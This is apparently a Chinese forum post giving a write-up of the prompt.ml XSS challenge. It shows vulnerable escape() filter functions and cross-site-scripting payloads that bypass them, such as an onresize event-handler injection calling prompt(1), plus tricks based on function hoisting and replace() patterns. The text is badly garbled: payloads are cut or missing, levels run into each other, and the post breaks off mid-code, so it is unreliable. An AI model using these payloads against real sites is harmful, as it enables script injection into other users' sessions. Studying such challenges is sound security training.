阅读:2224回复:0
xss挑战赛writeup
挑战地址:http://prompt.ml/0
from:https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml 规则: [*]成功执行 prompt(1) [*]payload不需要用户交互 [*]payload必须对下述浏览器有效: [*]Chrome(最新版) - Firefox(最新版) - IE10 及以上版本(或者IE10兼容模式) 4. 每个级别至少给出两种浏览器的答案 5. 字符越少越好 Level 0 代码 #!js function escape(input) { // warm up // script should be executed without user interaction return ''; } 答案 #!html "> 这个payload 24个字符。还有一个比较不常用的技巧,在IE10下,当页面第一次加载时,会调用resize事件,这个payload只有20个字符 #!js "onresize=prompt(1)> 背景知识 resize事件在IE10及以下版本有效,IE11没有用。并且不需要用户交互。 更多信息:http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx Level 1 该级别实际是简单的过滤了>,需要绕过以下即可。 代码 #!js function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /]+>/gi; input = input.replace(stripTagsRE, ''); return '' + input + ''; } 答案 #!html PROMPT.JPG input = input.toUpperCase(); // only allows images loaded from own host or data URI scheme input = input.replace(///|w+:/g, 'data:'); // miscellaneous filtering input = input.replace(/[&+%s]|vbs/gi, '_'); return ''; } 答案 firfox下94个字符 #!html ">" data-comment='{"id":3}'> 代码 #!js function escape(input) { // sort of spoiler of level 7 input = input.replace(/*/g, ''); // pass in something like dog#cat#bird#mouse... var segments = input.split('#'); return segments.map(function(title, index) { // title can only contain 15 characters return ' '; }).join('n'); } 答案 57个字符 #!html "> 在Firefox和IE下,</script>不需要,可以减少到42个字符 #!html "> Hidden Level 这里主要使用了两个非常有用的技巧,第一个是javascript的变量提升,以下语法可以在chrome下F12执行 #!js function functionDeclaration(a,b,c) { alert('Function declared with ' + functionDeclaration.length + ' parameters'); } functionDeclaration(); //alert > Function declared with 3 parameters 还有一个技巧就是第13题提到的replace()的匹配技巧,使用$&,测试如下: '123456'.replace('34','$&x') '1234x56' //x 直接插入到 查找到的 34位置 所以可以构造下面的代码 #!js if (history.length > 1337) { // you can inject any code here // as long as it will be executed function history(l,o,r,e,m...1338 times...)upw_injection prompt(1) } code #!js function escape(input) { // WORLD -1 // strip off certain characters from breaking conditional statement input = input.replace(/[} |
|